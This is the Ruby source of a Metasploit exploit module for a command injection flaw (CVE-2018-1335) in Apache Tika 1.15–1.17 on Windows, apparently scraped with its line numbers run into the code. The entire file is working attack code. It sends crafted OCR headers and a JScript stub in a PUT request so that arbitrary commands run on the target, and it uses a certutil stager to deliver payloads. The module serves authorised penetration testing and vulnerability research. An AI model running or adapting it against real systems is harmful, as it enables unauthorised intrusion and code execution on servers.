Path: blob/master/modules/exploits/windows/http/apache_tika_jp2_jscript.rb
19568 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::CmdStager9include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::Powershell11prepend Msf::Exploit::Remote::AutoCheck1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Apache Tika Header Command Injection',18'Description' => %q{19This module exploits a command injection vulnerability in Apache20Tika 1.15 - 1.17 on Windows. A file with the image/jp2 content-type is21used to bypass magic bytes checking. When OCR is specified in the22request, parameters can be passed to change the parameters passed23at command line to allow for arbitrary JScript to execute. A24JScript stub is passed to execute arbitrary code. This module was25verified against version 1.15 - 1.17 on Windows 2012.26While the CVE and finding show more versions vulnerable, during27testing it was determined only > 1.14 was exploitable due to28jp2 support being added.29},30'License' => MSF_LICENSE,31'Privileged' => false,32'Platform' => 'win',33'Targets' => [34[35'Windows',36{37'Arch' => [ARCH_X86, ARCH_X64],38'Platform' => 'win',39'CmdStagerFlavor' => ['certutil']40}41]42],43'DefaultTarget' => 0,44'DisclosureDate' => '2018-04-25',45'Author' => [46'h00die', # msf module47'David Yesland', # edb submission48'Tim Allison' # discovery49],50'References' => [51['EDB', '46540'],52['URL', 'https://rhinosecuritylabs.com/application-security/exploiting-cve-2018-1335-apache-tika/'],53['URL', 'https://lists.apache.org/thread.html/b3ed4432380af767effd4c6f27665cc7b2686acccbefeb9f55851dca@%3Cdev.tika.apache.org%3E'],54['CVE', '2018-1335']55],56'Notes' => {57'Reliability' => UNKNOWN_RELIABILITY,58'Stability' => UNKNOWN_STABILITY,59'SideEffects' => UNKNOWN_SIDE_EFFECTS60}61)62)6364register_options(65[66Opt::RPORT(9998),67OptString.new('TARGETURI', [true, 'The base path to the web application', '/'])68]69)70end7172def check73res = send_request_cgi({74'uri' => normalize_uri(target_uri),75})76if res.nil?77vprint_error('No server response, check configuration')78return CheckCode::Safe79elsif res.code != 20080vprint_error('No server response, check configuration')81return CheckCode::Safe82end8384if res.body =~ /Apache Tika (\d.[\d]+)/85version = Rex::Version.new($1)86vprint_status("Apache Tika Version Detected: #{version}")87if version.between?(Rex::Version.new('1.15'), Rex::Version.new('1.17'))88return CheckCode::Vulnerable89end90end91CheckCode::Safe92end9394def execute_command(cmd, opts = {})95cmd.gsub(/"/, '\"')96jscript = "var oShell = WScript.CreateObject('WScript.Shell');\n"97jscript << "var oExec = oShell.Exec(\"cmd /c #{cmd}\");"9899print_status("Sending PUT request to #{peer}#{normalize_uri(target_uri, 'meta')}")100res = send_request_cgi({101'method' => 'PUT',102'uri' => normalize_uri(target_uri, 'meta'),103'headers' => {104"X-Tika-OCRTesseractPath" => '"cscript"',105"X-Tika-OCRLanguage" => "//E:Jscript",106"Expect" => "100-continue",107"Content-type" => "image/jp2",108"Connection" => "close"109},110'data' => jscript111})112113fail_with(Failure::Disconnected, 'No server response') unless res114unless (res.code == 200 && res.body.include?('tika'))115fail_with(Failure::UnexpectedReply, 'Invalid response received, target may not be vulnerable')116end117end118119def exploit120execute_cmdstager(linemax: 8000)121end122end123124125